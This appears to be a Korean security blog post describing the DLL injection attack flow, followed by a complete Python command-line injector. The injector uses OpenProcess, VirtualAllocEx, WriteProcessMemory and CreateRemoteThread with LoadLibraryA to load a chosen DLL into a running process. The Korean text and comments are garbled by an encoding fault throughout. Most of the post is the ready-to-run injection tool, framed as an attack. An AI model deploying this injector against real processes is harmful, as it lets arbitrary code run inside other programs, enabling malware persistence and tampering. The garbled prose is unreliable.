DLL Injection ๊ณต๊ฒฉ ํ๋ฆ
- ์คํ ์ค์ธ ํ๋ก์ธ์ค๋ฅผ ๋์์ผ๋ก ํฉ๋๋ค.
- ํ๋ก์ธ์ค ์ฃผ์ ๊ณต๊ฐ์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ ๋นํฉ๋๋ค.
- DLL ๊ฒฝ๋ก๋ฅผ ํด๋น ๋ฉ๋ชจ๋ฆฌ์ ์๋๋ค.
- ๋์ ํ๋ก์ธ์ค์ ์ค๋ ๋์์ DLL์ ๋ก๋ํ๋ ํจ์๋ฅผ ์คํํฉ๋๋ค.
import ctypes # ctypes ๋ชจ๋ ์ํฌํธ
import sys # sys ๋ชจ๋ ์ํฌํธ
import os # os ๋ชจ๋ ์ํฌํธ
import psutil # psutil ๋ชจ๋ ์ํฌํธ
def inject_dll(target_process_name, dll_path):
# ๋์ ํ๋ก์ธ์ค๋ฅผ ์ฐพ์ต๋๋ค.
target_pid = None
for process in psutil.process_iter(['name', 'pid']):
if process.info['name'] == target_process_name:
target_pid = process.info['pid']
break
if target_pid is None:
print(f"Process '{target_process_name}' not found.") # ์ฐพ๋ ํ๋ก์ธ์ค๊ฐ ์์ผ๋ฉด ์๋ฌ๋ฅผ ์ถ๋ ฅํ๊ณ
return False # False ๊ฐ์ ๋ฐํํฉ๋๋ค.
# ๋์ ํ๋ก์ธ์ค์ ๋ํ ํธ๋ค์ ์ป์ต๋๋ค.
PROCESS_ALL_ACCESS = 0x1F0FFF
target_process_handle = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, target_pid)
if target_process_handle is None:
print("Failed to obtain process handle.") # ํ๋ก์ธ์ค ํธ๋ค์ ์ป์ ์ ์์ผ๋ฉด ์๋ฌ๋ฅผ ์ถ๋ ฅํ๊ณ
return False # False ๊ฐ์ ๋ฐํํฉ๋๋ค.
# ํ๋ก์ธ์ค ์ฃผ์ ๊ณต๊ฐ์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ ๋นํฉ๋๋ค.
dll_path_bytes = bytes(dll_path, 'UTF-8')
dll_path_length = len(dll_path_bytes) + 1
remote_memory_address = ctypes.windll.kernel32.VirtualAllocEx(target_process_handle, None, dll_path_length, 0x3000, 0x40)
if remote_memory_address is None:
print("Failed to allocate memory in the target process.") # ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ ๋นํ ์ ์์ผ๋ฉด ์๋ฌ๋ฅผ ์ถ๋ ฅํ๊ณ
return False # False ๊ฐ์ ๋ฐํํฉ๋๋ค.
# DLL ๊ฒฝ๋ก๋ฅผ ํด๋น ๋ฉ๋ชจ๋ฆฌ์ ์๋๋ค.
if ctypes.windll.kernel32.WriteProcessMemory(target_process_handle, remote_memory_address, dll_path_bytes, dll_path_length, None) == 0:
print("Failed to write the DLL path to the target process.") # DLL ๊ฒฝ๋ก๋ฅผ ๋ฉ๋ชจ๋ฆฌ์ ์ธ ์ ์์ผ๋ฉด ์๋ฌ๋ฅผ ์ถ๋ ฅํ๊ณ
return False # False ๊ฐ์ ๋ฐํํฉ๋๋ค.
# ๋์ ํ๋ก์ธ์ค์ ์ค๋ ๋์์ LoadLibraryA ํจ์๋ฅผ ์คํํ์ฌ DLL์ ๋ก๋ํฉ๋๋ค.
kernel32_handle = ctypes.windll.kernel32.GetModuleHandleW('kernel32.dll')
loadlibrary_address = ctypes.windll.kernel32.GetProcAddress(kernel32_handle, 'LoadLibraryA')
if ctypes.windll.kernel32.CreateRemoteThread(target_process_handle, None, 0, loadlibrary_address, remote_memory_address, 0, None) == 0:
print("Failed to create remote thread in the target process.") # ์๊ฒฉ ์ค๋ ๋๋ฅผ ์์ฑํ ์ ์์ผ๋ฉด ์๋ฌ๋ฅผ ์ถ๋ ฅํ๊ณ
return False # False ๊ฐ์ ๋ฐํํฉ๋๋ค.
print(f"Successfully injected '{dll_path}' into '{target_process_name}'") # DLL ์ธ์ ์
์ด ์ฑ๊ณตํ์ ๊ฒฝ์ฐ ๋ฉ์์ง๋ฅผ ์ถ๋ ฅํ๊ณ
return True # True ๊ฐ์ ๋ฐํํฉ๋๋ค.
if __name__ == "__main__":
if len(sys.argv) != 3: # ๋ง์ฝ ๋ช
๋ น์ค ์ธ์๊ฐ 3๊ฐ๊ฐ ์๋๋ฉด
print("Usage: python dll_injector.py <target_process_name> <dll_path>") # ์ฌ์ฉ๋ฒ์ ์ถ๋ ฅํ๊ณ
sys.exit() # ์ข
๋ฃํฉ๋๋ค.
target_process_name = sys.argv[1] # ์ฒซ๋ฒ์งธ ์ธ์๋ฅผ target_process_name ๋ณ์์ ํ ๋น
dll_path = sys.argv[2] # ๋๋ฒ์งธ ์ธ์๋ฅผ dll_path ๋ณ์์ ํ ๋น
if not os.path.exists(dll_path): # ๋ง์ฝ dll_path์ ํด๋นํ๋ ํ์ผ์ด ์กด์ฌํ์ง ์์ผ๋ฉด
print(f"Error: DLL file '{dll_path}' does not exist.") # ์๋ฌ๋ฅผ ์ถ๋ ฅํ๊ณ
sys.exit() # ์ข
๋ฃํฉ๋๋ค.
inject_dll(target_process_name, dll_path) # inject_dll ํจ์๋ฅผ ํธ์ถํ์ฌ DLL ์ธ์ ์
์ ์ํํฉ๋๋ค.
์ ์ฝ๋๋ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ ๋ python dll_injector.py <target_process_name> <dll_path>์ ๊ฐ์ ํ์์ผ๋ก ๋ช
๋ น์ค ์ธ์๋ฅผ ์ ๋ฌํฉ๋๋ค. sys.argv ๋ฆฌ์คํธ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ ๋ ์ ๋ฌ๋ ๋ช
๋ น์ค ์ธ์๋ค์ ๋ด๊ณ ์์ต๋๋ค.
len(sys.argv)๊ฐ 3์ด ์๋ ๊ฒฝ์ฐ, ์คํฌ๋ฆฝํธ์ ์ฌ์ฉ๋ฒ์ ์ถ๋ ฅํ๊ณ sys.exit() ํจ์๋ฅผ ์ฌ์ฉํ์ฌ ํ๋ก๊ทธ๋จ์ ์ข
๋ฃํฉ๋๋ค.
sys.argv[1]์ target_process_name ๋ณ์์ ํ ๋น๋๊ณ , sys.argv[2]๋ dll_path ๋ณ์์ ํ ๋น๋ฉ๋๋ค. ๋ง์ฝ dll_path์ ํด๋นํ๋ ํ์ผ์ด ์กด์ฌํ์ง ์์ ๊ฒฝ์ฐ, ์๋ฌ๋ฅผ ์ถ๋ ฅํ๊ณ ํ๋ก๊ทธ๋จ์ ์ข
๋ฃํฉ๋๋ค.
๋ง์ง๋ง์ผ๋ก inject_dll ํจ์๋ฅผ ํธ์ถํ์ฌ target_process_name ํ๋ก์ธ์ค์ dll_path์ ํด๋นํ๋ DLL์ ์ธ์ ์
ํฉ๋๋ค.
'๐ค์ ๋ณด๋ณด์ > โค๏ธ๋ ๋ํ' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[์ ๋ณด] ํด์ (0) | 2023.06.27 |
---|---|
[์ ๋ณด] http ๊ณต๊ฒฉ ์คํฌ (0) | 2023.06.27 |
[์ ๋ณด] ๋ค๋ฅธ ์๊ฒฉ์ง์ ์๋ ํ๋ก๊ทธ๋จ๊ณผ ํต์ ํ๋ ๋ฐฉ๋ฒ (0) | 2023.02.15 |
[์ ๋ณด] HTTPs/TLS Attacks์ด๋ (0) | 2023.02.15 |
[์ ๋ณด] ๋ฆฌ๋ฒ์ฑ ๊ธฐ์ด ๊ฐ๋ (0) | 2023.02.15 |